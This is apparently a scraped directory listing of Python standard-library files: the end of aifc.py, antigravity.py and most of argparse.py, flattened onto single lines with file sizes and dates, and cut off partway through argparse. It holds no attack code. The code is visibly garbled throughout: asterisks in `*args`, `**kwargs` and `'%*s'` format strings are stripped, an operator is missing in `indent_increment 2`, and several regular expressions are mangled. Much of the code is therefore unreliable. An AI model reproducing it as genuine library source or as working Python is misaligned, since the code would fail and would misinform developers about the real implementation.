self._aifc: commlength = 18 + 5 + len(self._compname) if commlength & 1: commlength = commlength + 1 verslength = 12 else: commlength = 18 verslength = 0 _write_ulong(self._file, 4 + verslength + self._marklength + \ 8 + commlength + 16 + datalength) return commlength def _patchheader(self): curpos = self._file.tell() if self._datawritten & 1: datalength = self._datawritten + 1 self._file.write(b'\x00') else: datalength = self._datawritten if datalength == self._datalength and \ self._nframes == self._nframeswritten and \ self._marklength == 0: self._file.seek(curpos, 0) return self._file.seek(self._form_length_pos, 0) dummy = self._write_form_length(datalength) self._file.seek(self._nframes_pos, 0) _write_ulong(self._file, self._nframeswritten) self._file.seek(self._ssnd_length_pos, 0) _write_ulong(self._file, datalength + 8) self._file.seek(curpos, 0) self._nframes = self._nframeswritten self._datalength = datalength def _writemarkers(self): if len(self._markers) == 0: return self._file.write(b'MARK') length = 2 for marker in self._markers: id, pos, name = marker length = length + len(name) + 1 + 6 if len(name) & 1 == 0: length = length + 1 _write_ulong(self._file, length) self._marklength = length + 8 _write_short(self._file, len(self._markers)) for marker in self._markers: id, pos, name = marker _write_short(self._file, id) _write_ulong(self._file, pos) _write_string(self._file, name) def open(f, mode=None): if mode is None: if hasattr(f, 'mode'): mode = f.mode else: mode = 'rb' if mode in ('r', 'rb'): return Aifc_read(f) elif mode in ('w', 'wb'): return Aifc_write(f) else: raise Error("mode must be 'r', 'rb', 'w', or 'wb'") def openfp(f, mode=None): warnings.warn("aifc.openfp is deprecated since Python 3.7. " "Use aifc.open instead.", DeprecationWarning, stacklevel=2) return open(f, mode=mode) if __name__ == '__main__': import sys if not sys.argv[1:]: sys.argv.append('/usr/demos/data/audio/bach.aiff') fn = sys.argv[1] with open(fn, 'r') as f: print("Reading", fn) print("nchannels =", f.getnchannels()) print("nframes =", f.getnframes()) print("sampwidth =", f.getsampwidth()) print("framerate =", f.getframerate()) print("comptype =", f.getcomptype()) print("compname =", f.getcompname()) if sys.argv[2:]: gn = sys.argv[2] print("Writing", gn) with open(gn, 'w') as g: g.setparams(f.getparams()) while 1: data = f.readframes(1024) if not data: break g.writeframes(data) print("Done.")	32.04 KB	2024-04-17 17:55
📄 antigravity.py import webbrowser import hashlib webbrowser.open("https://xkcd.com/353/") def geohash(latitude, longitude, datedow): '''Compute geohash() using the Munroe algorithm. >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68') 37.857713 -122.544543 ''' # https://xkcd.com/426/ h = hashlib.md5(datedow).hexdigest() p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])] print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))	477 B	2024-04-17 17:55
📄 argparse.py # Author: Steven J. Bethard <steven.bethard@gmail.com>. """Command-line parsing library This module is an optparse-inspired command-line parsing library that: - handles both optional and positional arguments - produces highly informative usage messages - supports parsers that dispatch to sub-parsers The following is a simple usage example that sums integers from the command-line and writes the result to a file:: parser = argparse.ArgumentParser( description='sum the integers at the command line') parser.add_argument( 'integers', metavar='int', nargs='+', type=int, help='an integer to be summed') parser.add_argument( '--log', default=sys.stdout, type=argparse.FileType('w'), help='the file where the sum should be written') args = parser.parse_args() args.log.write('%s' % sum(args.integers)) args.log.close() The module contains the following public classes: - ArgumentParser -- The main entry point for command-line parsing. As the example above shows, the add_argument() method is used to populate the parser with actions for optional and positional arguments. Then the parse_args() method is invoked to convert the args at the command-line into an object with attributes. - ArgumentError -- The exception raised by ArgumentParser objects when there are errors with the parser's actions. Errors raised while parsing the command-line are caught by ArgumentParser and emitted as command-line messages. - FileType -- A factory for defining types of files to be created. As the example above shows, instances of FileType are typically passed as the type= argument of add_argument() calls. - Action -- The base class for parser actions. Typically actions are selected by passing strings like 'store_true' or 'append_const' to the action= argument of add_argument(). However, for greater customization of ArgumentParser actions, subclasses of Action may be defined and passed as the action= argument. - HelpFormatter, RawDescriptionHelpFormatter, RawTextHelpFormatter, ArgumentDefaultsHelpFormatter -- Formatter classes which may be passed as the formatter_class= argument to the ArgumentParser constructor. HelpFormatter is the default, RawDescriptionHelpFormatter and RawTextHelpFormatter tell the parser not to change the formatting for help text, and ArgumentDefaultsHelpFormatter adds information about argument defaults to the help. All other classes in this module are considered implementation details. (Also note that HelpFormatter and RawDescriptionHelpFormatter are only considered public as object names -- the API of the formatter objects is still considered an implementation detail.) """ __version__ = '1.1' __all__ = [ 'ArgumentParser', 'ArgumentError', 'ArgumentTypeError', 'FileType', 'HelpFormatter', 'ArgumentDefaultsHelpFormatter', 'RawDescriptionHelpFormatter', 'RawTextHelpFormatter', 'MetavarTypeHelpFormatter', 'Namespace', 'Action', 'ONE_OR_MORE', 'OPTIONAL', 'PARSER', 'REMAINDER', 'SUPPRESS', 'ZERO_OR_MORE', ] import os as _os import re as _re import sys as _sys from gettext import gettext as _, ngettext SUPPRESS = '==SUPPRESS==' OPTIONAL = '?' ZERO_OR_MORE = '' ONE_OR_MORE = '+' PARSER = 'A...' REMAINDER = '...' _UNRECOGNIZED_ARGS_ATTR = '_unrecognized_args' # ============================= # Utility functions and classes # ============================= class _AttributeHolder(object): """Abstract base class that provides __repr__. The __repr__ method returns a string in the format:: ClassName(attr=name, attr=name, ...) The attributes are determined either by a class-level attribute, '_kwarg_names', or by inspecting the instance __dict__. """ def __repr__(self): type_name = type(self).__name__ arg_strings = [] star_args = {} for arg in self._get_args(): arg_strings.append(repr(arg)) for name, value in self._get_kwargs(): if name.isidentifier(): arg_strings.append('%s=%r' % (name, value)) else: star_args[name] = value if star_args: arg_strings.append('%s' % repr(star_args)) return '%s(%s)' % (type_name, ', '.join(arg_strings)) def _get_kwargs(self): return sorted(self.__dict__.items()) def _get_args(self): return [] def _copy_items(items): if items is None: return [] # The copy module is used only in the 'append' and 'append_const' # actions, and it is needed only when the default value isn't a list. # Delay its import for speeding up the common case. if type(items) is list: return items[:] import copy return copy.copy(items) # =============== # Formatting Help # =============== class HelpFormatter(object): """Formatter for generating usage messages and argument help strings. Only the name of this class is considered a public API. All the methods provided by the class are considered an implementation detail. """ def __init__(self, prog, indent_increment=2, max_help_position=24, width=None): # default setting for width if width is None: try: width = int(_os.environ['COLUMNS']) except (KeyError, ValueError): width = 80 width -= 2 self._prog = prog self._indent_increment = indent_increment self._max_help_position = max_help_position self._max_help_position = min(max_help_position, max(width - 20, indent_increment 2)) self._width = width self._current_indent = 0 self._level = 0 self._action_max_length = 0 self._root_section = self._Section(self, None) self._current_section = self._root_section self._whitespace_matcher = _re.compile(r'\s+', _re.ASCII) self._long_break_matcher = _re.compile(r'\n\n\n+') # =============================== # Section and indentation methods # =============================== def _indent(self): self._current_indent += self._indent_increment self._level += 1 def _dedent(self): self._current_indent -= self._indent_increment assert self._current_indent >= 0, 'Indent decreased below 0.' self._level -= 1 class _Section(object): def __init__(self, formatter, parent, heading=None): self.formatter = formatter self.parent = parent self.heading = heading self.items = [] def format_help(self): # format the indented section if self.parent is not None: self.formatter._indent() join = self.formatter._join_parts item_help = join([func(args) for func, args in self.items]) if self.parent is not None: self.formatter._dedent() # return nothing if the section was empty if not item_help: return '' # add the heading if the section was non-empty if self.heading is not SUPPRESS and self.heading is not None: current_indent = self.formatter._current_indent heading = '%s%s:\n' % (current_indent, '', self.heading) else: heading = '' # join the section-initial newline, the heading and the help return join(['\n', heading, item_help, '\n']) def _add_item(self, func, args): self._current_section.items.append((func, args)) # ======================== # Message building methods # ======================== def start_section(self, heading): self._indent() section = self._Section(self, self._current_section, heading) self._add_item(section.format_help, []) self._current_section = section def end_section(self): self._current_section = self._current_section.parent self._dedent() def add_text(self, text): if text is not SUPPRESS and text is not None: self._add_item(self._format_text, [text]) def add_usage(self, usage, actions, groups, prefix=None): if usage is not SUPPRESS: args = usage, actions, groups, prefix self._add_item(self._format_usage, args) def add_argument(self, action): if action.help is not SUPPRESS: # find all invocations get_invocation = self._format_action_invocation invocations = [get_invocation(action)] for subaction in self._iter_indented_subactions(action): invocations.append(get_invocation(subaction)) # update the maximum item length invocation_length = max([len(s) for s in invocations]) action_length = invocation_length + self._current_indent self._action_max_length = max(self._action_max_length, action_length) # add the item to the list self._add_item(self._format_action, [action]) def add_arguments(self, actions): for action in actions: self.add_argument(action) # ======================= # Help-formatting methods # ======================= def format_help(self): help = self._root_section.format_help() if help: help = self._long_break_matcher.sub('\n\n', help) help = help.strip('\n') + '\n' return help def _join_parts(self, part_strings): return ''.join([part for part in part_strings if part and part is not SUPPRESS]) def _format_usage(self, usage, actions, groups, prefix): if prefix is None: prefix = _('usage: ') # if usage is specified, use that if usage is not None: usage = usage % dict(prog=self._prog) # if no optionals or positionals are available, usage is just prog elif usage is None and not actions: usage = '%(prog)s' % dict(prog=self._prog) # if optionals and positionals are available, calculate usage elif usage is None: prog = '%(prog)s' % dict(prog=self._prog) # split optionals from positionals optionals = [] positionals = [] for action in actions: if action.option_strings: optionals.append(action) else: positionals.append(action) # build full usage string format = self._format_actions_usage action_usage = format(optionals + positionals, groups) usage = ' '.join([s for s in [prog, action_usage] if s]) # wrap the usage parts if it's too long text_width = self._width - self._current_indent if len(prefix) + len(usage) > text_width: # break usage into wrappable parts part_regexp = ( r'$.?$+(?=\s\|$)\|' r'\[.?\]+(?=\s\|$)\|' r'\S+' ) opt_usage = format(optionals, groups) pos_usage = format(positionals, groups) opt_parts = _re.findall(part_regexp, opt_usage) pos_parts = _re.findall(part_regexp, pos_usage) assert ' '.join(opt_parts) == opt_usage assert ' '.join(pos_parts) == pos_usage # helper for wrapping lines def get_lines(parts, indent, prefix=None): lines = [] line = [] if prefix is not None: line_len = len(prefix) - 1 else: line_len = len(indent) - 1 for part in parts: if line_len + 1 + len(part) > text_width and line: lines.append(indent + ' '.join(line)) line = [] line_len = len(indent) - 1 line.append(part) line_len += len(part) + 1 if line: lines.append(indent + ' '.join(line)) if prefix is not None: lines[0] = lines[0][len(indent):] return lines # if prog is short, follow it with optionals or positionals if len(prefix) + len(prog) <= 0.75 * text_width: indent = ' ' * (len(prefix) + len(prog) + 1) if opt_parts: lines = get_lines([prog] + opt_parts, indent, prefix) lines.extend(get_lines(pos_parts, indent)) elif pos_parts: lines = get_lines([prog] + pos_parts, indent, prefix) else: lines = [prog] # if prog is long, put it on its own line else: indent = ' ' * len(prefix) parts = opt_parts + pos_parts lines = get_lines(parts, indent) if len(lines) > 1: lines = [] lines.extend(get_lines(opt_parts, indent)) lines.extend(get_lines(pos_parts, indent)) lines = [prog] + lines # join lines into usage usage = '\n'.join(lines) # prefix with 'usage:' return '%s%s\n\n' % (prefix, usage) def _format_actions_usage(self, actions, groups): # find group indices and identify actions in groups group_actions = set() inserts = {} for group in groups: try: start = actions.index(group._group_actions[0]) except ValueError: continue else: end = start + len(group._group_actions) if actions[start:end] == group._group_actions: for action in group._group_actions: group_actions.add(action) if not group.required: if start in inserts: inserts[start] += ' [' else: inserts[start] = '[' if end in inserts: inserts[end] += ']' else: inserts[end] = ']' else: if start in inserts: inserts[start] += ' (' else: inserts[start] = '(' if end in inserts: inserts[end] += ')' else: inserts[end] = ')' for i in range(start + 1, end): inserts[i] = '\|' # collect all actions format strings parts = [] for i, action in enumerate(actions): # suppressed arguments are marked with None # remove \| separators for suppressed arguments if action.help is SUPPRESS: parts.append(None) if inserts.get(i) == '\|': inserts.pop(i) elif inserts.get(i + 1) == '\|': inserts.pop(i + 1) # produce all arg strings elif not action.option_strings: default = self._get_default_metavar_for_positional(action) part = self._format_args(action, default) # if it's in a group, strip the outer [] if action in group_actions: if part[0] == '[' and part[-1] == ']': part = part[1:-1] # add the action string to the list parts.append(part) # produce the first way to invoke the option in brackets else: option_string = action.option_strings[0] # if the Optional doesn't take a value, format is: # -s or --long if action.nargs == 0: part = '%s' % option_string # if the Optional takes a value, format is: # -s ARGS or --long ARGS else: default = self._get_default_metavar_for_optional(action) args_string = self._format_args(action, default) part = '%s %s' % (option_string, args_string) # make it look optional if it's not required or in a group if not action.required and action not in group_actions: part = '[%s]' % part # add the action string to the list parts.append(part) # insert things at the necessary indices for i in sorted(inserts, reverse=True): parts[i:i] = [inserts[i]] # join all the action items with spaces text = ' '.join([item for item in parts if item is not None]) # clean up separators for mutually exclusive groups open = r'[\[(]' close = r'[\])]' text = _re.sub(r'(%s) ' % open, r'\1', text) text = _re.sub(r' (%s)' % close, r'\1', text) text = _re.sub(r'%s %s' % (open, close), r'', text) text = _re.sub(r'$([^\|])$', r'\1', text) text = text.strip() # return the text return text def _format_text(self, text): if '%(prog)' in text: text = text % dict(prog=self._prog) text_width = max(self._width - self._current_indent, 11) indent = ' ' * self._current_indent return self._fill_text(text, text_width, indent) + '\n\n' def _format_action(self, action): # determine the required width and the entry label help_position = min(self._action_max_length + 2, self._max_help_position) help_width = max(self._width - help_position, 11) action_width = help_position - self._current_indent - 2 action_header = self._format_action_invocation(action) # no help; start on same line and add a final newline if not action.help: tup = self._current_indent, '', action_header action_header = '%s%s\n' % tup # short action name; start on the same line and pad two spaces elif len(action_header) <= action_width: tup = self._current_indent, '', action_width, action_header action_header = '%s%-s ' % tup indent_first = 0 # long action name; start on the next line else: tup = self._current_indent, '', action_header action_header = '%s%s\n' % tup indent_first = help_position # collect the pieces of the action help parts = [action_header] # if there was help for the action, add lines of help text if action.help: help_text = self._expand_help(action) help_lines = self._split_lines(help_text, help_width) parts.append('%s%s\n' % (indent_first, '', help_lines[0])) for line in help_lines[1:]: parts.append('%s%s\n' % (help_position, '', line)) # or add a newline if the description doesn't end with one elif not action_header.endswith('\n'): parts.append('\n') # if there are any sub-actions, add their help as well for subaction in self._iter_indented_subactions(action): parts.append(self._format_action(subaction)) # return a single string return self._join_parts(parts) def _format_action_invocation(self, action): if not action.option_strings: default = self._get_default_metavar_for_positional(action) metavar, = self._metavar_formatter(action, default)(1) return metavar else: parts = [] # if the Optional doesn't take a value, format is: # -s, --long if action.nargs == 0: parts.extend(action.option_strings) # if the Optional takes a value, format is: # -s ARGS, --long ARGS else: default = self._get_default_metavar_for_optional(action) args_string = self._format_args(action, default) for option_string in action.option_strings: parts.append('%s %s' % (option_string, args_string)) return ', '.join(parts) def _metavar_formatter(self, action, default_metavar): if action.metavar is not None: result = action.metavar elif action.choices is not None: choice_strs = [str(choice) for choice in action.choices] result = '{%s}' % ','.join(choice_strs) else: result = default_metavar def format(tuple_size): if isinstance(result, tuple): return result else: return (result, ) * tuple_size return format def _format_args(self, action, default_metavar): get_metavar = self._metavar_formatter(action, default_metavar) if action.nargs is None: result = '%s' % get_metavar(1) elif action.nargs == OPTIONAL: result = '[%s]' % get_metavar(1) elif action.nargs == ZERO_OR_MORE: result = '[%s [%s ...]]' % get_metavar(2) elif action.nargs == ONE_OR_MORE: result = '%s [%s ...]' % get_metavar(2) elif action.nargs == REMAINDER: result = '...' elif action.nargs == PARSER: result = '%s ...' % get_metavar(1) elif action.nargs == SUPPRESS: result = '' else: formats = ['%s' for _ in range(action.nargs)] result = ' '.join(formats) % get_metavar(action.nargs) return result def _expand_help(self, action): params = dict(vars(action), prog=self._prog) for name in list(params): if params[name] is SUPPRESS: del params[name] for name in list(params): if hasattr(params[name], '__name__'): params[name] = params[name].__name__ if params.get('choices') is not None: choices_str = ', '.join([str(c) for c in params['choices']]) params['choices'] = choices_str return self._get_help_string(action) % params def _iter_indented_subactions(self, action): try: get_subactions = action._get_subactions except AttributeError: pass else: self._indent() yield from get_subactions() self._dedent() def _split_lines(self, text, width): text = self._whitespace_matcher.sub(' ', text).strip() # The textwrap module is used only for formatting help. # Delay its import for speeding up the common usage of argparse. import textwrap return textwrap.wrap(text, width) def _fill_text(self, text, width, indent): text = self._whitespace_matcher.sub(' ', text).strip() import textwrap return textwrap.fill(text, width, initial_indent=indent, subsequent_indent=indent) def _get_help_string(self, action): return action.help def _get_default_metavar_for_optional(self, action): return action.dest.upper() def _get_default_metavar_for_positional(self, action): return action.dest class RawDescriptionHelpFormatter(HelpFormatter): """Help message formatter which retains any formatting in descriptions. Only the name of this class is considered a public API. All the methods provided by the class are considered an implementation detail. """ def _fill_text(self, text, width, indent): return ''.join(indent + line for line in text.splitlines(keepends=True)) class RawTextHelpFormatter(RawDescriptionHelpFormatter): """Help message formatter which retains formatting of all help text. Only the name of this class is considered a public API. All the methods provided by the class are considered an implementation detail. """ def _split_lines(self, text, width): return text.splitlines() class ArgumentDefaultsHelpFormatter(HelpFormatter): """Help message formatter which adds default values to argument help. Only the name of this class is considered a public API. All the methods provided by the class are considered an implementation detail. """ def _get_help_string(self, action): help = action.help if '%(default)' not in action.help: if action.default is not SUPPRESS: defaulting_nargs = [OPTIONAL, ZERO_OR_MORE] if action.option_strings or action.nargs in defaulting_nargs: help += ' (default: %(default)s)' return help class MetavarTypeHelpFormatter(HelpFormatter): """Help message formatter which uses the argument 'type' as the default metavar value (instead of the argument 'dest') Only the name of this class is considered a public API. All the methods provided by the class are considered an implementation detail. """ def _get_default_metavar_for_optional(self, action): return action.type.__name__ def _get_default_metavar_for_positional(self, action): return action.type.__name__ # ===================== # Options and Arguments # ===================== def _get_action_name(argument): if argument is None: return None elif argument.option_strings: return '/'.join(argument.option_strings) elif argument.metavar not in (None, SUPPRESS): return argument.metavar elif argument.dest not in (None, SUPPRESS): return argument.dest else: return None class ArgumentError(Exception): """An error from creating or using an argument (optional or positional). The string value of this exception is the message, augmented with information about the argument that caused it. """ def __init__(self, argument, message): self.argument_name = _get_action_name(argument) self.message = message def __str__(self): if self.argument_name is None: format = '%(message)s' else: format = 'argument %(argument_name)s: %(message)s' return format % dict(message=self.message, argument_name=self.argument_name) class ArgumentTypeError(Exception): """An error from trying to convert a command line string to a type.""" pass # ============== # Action classes # ============== class Action(_AttributeHolder): """Information about how to convert command line strings to Python objects. Action objects are used by an ArgumentParser to represent the information needed to parse a single argument from one or more strings from the command line. The keyword arguments to the Action constructor are also all attributes of Action instances. Keyword Arguments: - option_strings -- A list of command-line option strings which should be associated with this action. - dest -- The name of the attribute to hold the created object(s) - nargs -- The number of command-line arguments that should be consumed. By default, one argument will be consumed and a single value will be produced. Other values include: - N (an integer) consumes N arguments (and produces a list) - '?' consumes zero or one arguments - '' consumes zero or more arguments (and produces a list) - '+' consumes one or more arguments (and produces a list) Note that the difference between the default and nargs=1 is that with the default, a single value will be produced, while with nargs=1, a list containing a single value will be produced. - const -- The value to be produced if the option is specified and the option uses an action that takes no values. - default -- The value to be produced if the option is not specified. - type -- A callable that accepts a single string argument, and returns the converted value. The standard Python types str, int, float, and complex are useful examples of such callables. If None, str is used. - choices -- A container of values that should be allowed. If not None, after a command-line argument has been converted to the appropriate type, an exception will be raised if it is not a member of this collection. - required -- True if the action must always be specified at the command line. This is only meaningful for optional command-line arguments. - help -- The help string describing the argument. - metavar -- The name to be used for the option's argument with the help string. If None, the 'dest' value will be used as the name. """ def __init__(self, option_strings, dest, nargs=None, const=None, default=None, type=None, choices=None, required=False, help=None, metavar=None): self.option_strings = option_strings self.dest = dest self.nargs = nargs self.const = const self.default = default self.type = type self.choices = choices self.required = required self.help = help self.metavar = metavar def _get_kwargs(self): names = [ 'option_strings', 'dest', 'nargs', 'const', 'default', 'type', 'choices', 'help', 'metavar', ] return [(name, getattr(self, name)) for name in names] def __call__(self, parser, namespace, values, option_string=None): raise NotImplementedError(_('.__call__() not defined')) class _StoreAction(Action): def __init__(self, option_strings, dest, nargs=None, const=None, default=None, type=None, choices=None, required=False, help=None, metavar=None): if nargs == 0: raise ValueError('nargs for store actions must be > 0; if you ' 'have nothing to store, actions such as store ' 'true or store const may be more appropriate') if const is not None and nargs != OPTIONAL: raise ValueError('nargs must be %r to supply const' % OPTIONAL) super(_StoreAction, self).__init__( option_strings=option_strings, dest=dest, nargs=nargs, const=const, default=default, type=type, choices=choices, required=required, help=help, metavar=metavar) def __call__(self, parser, namespace, values, option_string=None): setattr(namespace, self.dest, values) class _StoreConstAction(Action): def __init__(self, option_strings, dest, const, default=None, required=False, help=None, metavar=None): super(_StoreConstAction, self).__init__( option_strings=option_strings, dest=dest, nargs=0, const=const, default=default, required=required, help=help) def __call__(self, parser, namespace, values, option_string=None): setattr(namespace, self.dest, self.const) class _StoreTrueAction(_StoreConstAction): def __init__(self, option_strings, dest, default=False, required=False, help=None): super(_StoreTrueAction, self).__init__( option_strings=option_strings, dest=dest, const=True, default=default, required=required, help=help) class _StoreFalseAction(_StoreConstAction): def __init__(self, option_strings, dest, default=True, required=False, help=None): super(_StoreFalseAction, self).__init__( option_strings=option_strings, dest=dest, const=False, default=default, required=required, help=help) class _AppendAction(Action): def __init__(self, option_strings, dest, nargs=None, const=None, default=None, type=None, choices=None, required=False, help=None, metavar=None): if nargs == 0: raise ValueError('nargs for append actions must be > 0; if arg ' 'strings are not supplying the value to append, ' 'the append const action may be more appropriate') if const is not None and nargs != OPTIONAL: raise ValueError('nargs must be %r to supply const' % OPTIONAL) super(_AppendAction, self).__init__( option_strings=option_strings, dest=dest, nargs=nargs, const=const, default=default, type=type, choices=choices, required=required, help=help, metavar=metavar) def __call__(self, parser, namespace, values, option_string=None): items = getattr(namespace, self.dest, None) items = _copy_items(items) items.append(values) setattr(namespace, self.dest, items) class _AppendConstAction(Action): def __init__(self, option_strings, dest, const, default=None, required=False, help=None, metavar=None): super(_AppendConstAction, self).__init__( option_strings=option_strings, dest=dest, nargs=0, const=const, default=default, required=required, help=help, metavar=metavar) def __call__(self, parser, namespace, values, option_string=None): items = getattr(namespace, self.dest, None) items = _copy_items(items) items.append(self.const) setattr(namespace, self.dest, items) class _CountAction(Action): def __init__(self, option_strings, dest, default=None, required=False, help=None): super(_CountAction, self).__init__( option_strings=option_strings, dest=dest, nargs=0, default=default, required=required, help=help) def __call__(self, parser, namespace, values, option_string=None): count = getattr(namespace, self.dest, None) if count is None: count = 0 setattr(namespace, self.dest, count + 1) class _HelpAction(Action): def __init__(self, option_strings, dest=SUPPRESS, default=SUPPRESS, help=None): super(_HelpAction, self).__init__( option_strings=option_strings, dest=dest, default=default, nargs=0, help=help) def __call__(self, parser, namespace, values, option_string=None): parser.print_help() parser.exit() class _VersionAction(Action): def __init__(self, option_strings, version=None, dest=SUPPRESS, default=SUPPRESS, help="show program's version number and exit"): super(_VersionAction, self).__init__( option_strings=option_strings, dest=dest, default=default, nargs=0, help=help) self.version = version def __call__(self, parser, namespace, values, option_string=None): version = self.version if version is None: version = parser.version formatter = parser._get_formatter() formatter.add_text(version) parser._print_message(formatter.format_help(), _sys.stdout) parser.exit() class _SubParsersAction(Action): class _ChoicesPseudoAction(Action): def __init__(self, name, aliases, help): metavar = dest = name if aliases: metavar += ' (%s)' % ', '.join(aliases) sup = super(_SubParsersAction._ChoicesPseudoAction, self) sup.__init__(option_strings=[], dest=dest, help=help, metavar=metavar) def __init__(self, option_strings, prog, parser_class, dest=SUPPRESS, required=False, help=None, metavar=None): self._prog_prefix = prog self._parser_class = parser_class self._name_parser_map = {} self._choices_actions = [] super(_SubParsersAction, self).__init__( option_strings=option_strings, dest=dest, nargs=PARSER, choices=self._name_parser_map, required=required, help=help, metavar=metavar) def add_parser(self, name, kwargs): # set prog from the existing prefix if kwargs.get('prog') is None: kwargs['prog'] = '%s %s' % (self._prog_prefix, name) aliases = kwargs.pop('aliases', ()) # create a pseudo-action to hold the choice help if 'help' in kwargs: help = kwargs.pop('help') choice_action = self._ChoicesPseudoAction(name, aliases, help) self._choices_actions.append(choice_action) # create the parser and add it to the map parser = self._parser_class(kwargs) self._name_parser_map[name] = parser # make parser available under aliases also for alias in aliases: self._name_parser_map[alias] = parser return parser def _get_subactions(self): return self._choices_actions def __call__(self, parser, namespace, values, option_string=None): parser_name = values[0] arg_strings = values[1:] # set the parser name if requested if self.dest is not SUPPRESS: setattr(namespace, self.dest, parser_name) # select the parser try: parser = self._name_parser_map[parser_name] except KeyError: args = {'parser_name': parser_name, 'choices': ', '.join(self._name_parser_map)} msg = _('unknown parser %(parser_name)r (choices: %(choices)s)') % args raise ArgumentError(self, msg) # parse all the remaining options into the namespace # store any unrecognized options on the object, so that the top # level parser can decide what to do with them # In case this subparser defines new defaults, we parse them # in a new namespace object and then update the original # namespace for the relevant parts. subnamespace, arg_strings = parser.parse_known_args(arg_strings, None) for key, value in vars(subnamespace).items(): setattr(namespace, key, value) if arg_strings: vars(namespace).setdefault(_UNRECOGNIZED_ARGS_ATTR, []) getattr(namespace, _UNRECOGNIZED_ARGS_ATTR).extend(arg_strings) # ============== # Type classes # ============== class FileType(object): """Factory for creating file object types Instances of FileType are typically passed as type= arguments to the ArgumentParser add_argument() method. Keyword Arguments: - mode -- A string indicating how the file is to be opened. Accepts the same values as the builtin open() function. - bufsize -- The file's desired buffer size. Accepts the same values as the builtin open() function. - encoding -- The file's encoding. Accepts the same values as the builtin open() function. - errors -- A string indicating how encoding and decoding errors are to be handled. Accepts the same value as the builtin open() function. """ def __init__(self, mode='r', bufsize=-1, encoding=None, errors=None): self._mode = mode self._bufsize = bufsize self._encoding = encoding self._errors = errors def __call__(self, string): # the special argument "-" means sys.std{in,out} if string == '-': if 'r' in self._mode: return _sys.stdin elif 'w' in self._mode: return _sys.stdout else: msg = _('argument "-" with mode %r') % self._mode raise ValueError(msg) # all other arguments are used as file names try: return open(string, self._mode, self._bufsize, self._encoding, self._errors) except OSError as e: message = _("can't open '%s': %s") raise ArgumentTypeError(message % (string, e)) def __repr__(self): args = self._mode, self._bufsize kwargs = [('encoding', self._encoding), ('errors', self._errors)] args_str = ', '.join([repr(arg) for arg in args if arg != -1] + ['%s=%r' % (kw, arg) for kw, arg in kwargs if arg is not None]) return '%s(%s)' % (type(self).__name__, args_str) # =========================== # Optional and Positional Parsing # =========================== class Namespace(_AttributeHolder): """Simple object for storing attributes. Implements equality by attribute names and values, and provides a simple string representation. """ def __init__(self, kwargs): for name in kwargs: setattr(self, name, kwargs[name]) def __eq__(self, other): if not isinstance(other, Namespace): return NotImplemented return vars(self) == vars(other) def __contains__(self, key): return key in self.__dict__ class _ActionsContainer(object): def __init__(self, description, prefix_chars, argument_default, conflict_handler): super(_ActionsContainer, self).__init__() self.description = description self.argument_default = argument_default self.prefix_chars = prefix_chars self.conflict_handler = conflict_handler # set up registries self._registries = {} # register actions self.register('action', None, _StoreAction) self.register('action', 'store', _StoreAction) self.register('action', 'store_const', _StoreConstAction) self.register('action', 'store_true', _StoreTrueAction) self.register('action', 'store_false', _StoreFalseAction) self.register('action', 'append', _AppendAction) self.register('action', 'append_const', _AppendConstAction) self.register('action', 'count', _CountAction) self.register('action', 'help', _HelpAction) self.register('action', 'version', _VersionAction) self.register('action', 'parsers', _SubParsersAction) # raise an exception if the conflict handler is invalid self._get_handler() # action storage self._actions = [] self._option_string_actions = {} # groups self._action_groups = [] self._mutually_exclusive_groups = [] # defaults storage self._defaults = {} # determines whether an "option" looks like a negative number self._negative_number_matcher = _re.compile(r'^-\d+$\|^-\d\.\d+$') # whether or not there are any optionals that look like negative # numbers -- uses a list so it can be shared and edited self._has_negative_number_optionals = [] # ==================== # Registration methods # ==================== def register(self, registry_name, value, object): registry = self._registries.setdefault(registry_name, {}) registry[value] = object def _registry_get(self, registry_name, value, default=None): return self._registries[registry_name].get(value, default) # ================================== # Namespace default accessor methods # ================================== def set_defaults(self, *kwargs): self._defaults.update(kwargs) # if these defaults match any existing arguments, replace # the previous default on the object with the new one for action in self._actions: if action.dest in kwargs: action.default = kwargs[action.dest] def get_default(self, dest): for action in self._actions: if action.dest == dest and action.default is not None: return action.default return self._defaults.get(dest, None) # ======================= # Adding argument actions # ======================= def add_argument(self, args, *kwargs): """ add_argument(dest, ..., name=value, ...) add_argument(option_string, option_string, ..., name=value, ...) """ # if no positional args are supplied or only one is supplied and # it doesn't look like an option string, parse a positional # argument chars = self.prefix_chars if not args or len(args) == 1 and args[0][0] not in chars: if args and 'dest' in kwargs: raise ValueError('dest supplied twice for positional argument') kwargs = self._get_positional_kwargs(args, *kwargs) # otherwise, we're adding an optional argument else: kwargs = self._get_optional_kwargs(args, kwargs) # if no default was supplied, use the parser-level default if 'default' not in kwargs: dest = kwargs['dest'] if dest in self._defaults: kwargs['default'] = self._defaults[dest] elif self.argument_default is not None: kwargs['default'] = self.argument_default # create the action object, and add it to the parser action_class = self._pop_action_class(kwargs) if not callable(action_class): raise ValueError('unknown action "%s"' % (action_class,)) action = action_class(kwargs) # raise an error if the action type is not callable type_func = self._registry_get('type', action.type, action.type) if not callable(type_func): raise ValueError('%r is not callable' % (type_func,)) # raise an error if the metavar does not match the type if hasattr(self, "_get_formatter"): try: self._get_formatter()._format_args(action, None) except TypeError: raise ValueError("length of metavar tuple does not match nargs") return self._add_action(action) def add_argument_group(self, args, kwargs): group = _ArgumentGroup(self, args, kwargs) self._action_groups.append(group) return group def add_mutually_exclusive_group(self, kwargs): group = _MutuallyExclusiveGroup(self, kwargs) self._mutually_exclusive_groups.append(group) return group def _add_action(self, action): # resolve any conflicts self._check_conflict(action) # add to actions list self._actions.append(action) action.container = self # index the action by any option strings it has for option_string in action.option_strings: self._option_string_actions[option_string] = action # set the flag if any option strings look like negative numbers for option_string in action.option_strings: if self._negative_number_matcher.match(option_string): if not self._has_negative_number_optionals: self._has_negative_number_optionals.append(True) # return the created action return action def _remove_action(self, action): self._actions.remove(action) def _add_container_actions(self, container): # collect groups by titles title_group_map = {} for group in self._action_groups: if group.title in title_group_map: msg = _('cannot merge actions - two groups are named %r') raise ValueError(msg % (group.title)) title_group_map[group.title] = group # map each action to its group group_map = {} for group in container._action_groups: # if a group with the title exists, use that, otherwise # create a new group matching the container's group if group.title not in title_group_map: title_group_map[group.title] = self.add_argument_group( title=group.title, description=group.description, conflict_handler=group.conflict_handler) # map the actions to their new group for action in group._group_actions: group_map[action] = title_group_map[group.title] # add container's mutually exclusive groups # NOTE: if add_mutually_exclusive_group ever gains title= and # description= then this code will need to be expanded as above for group 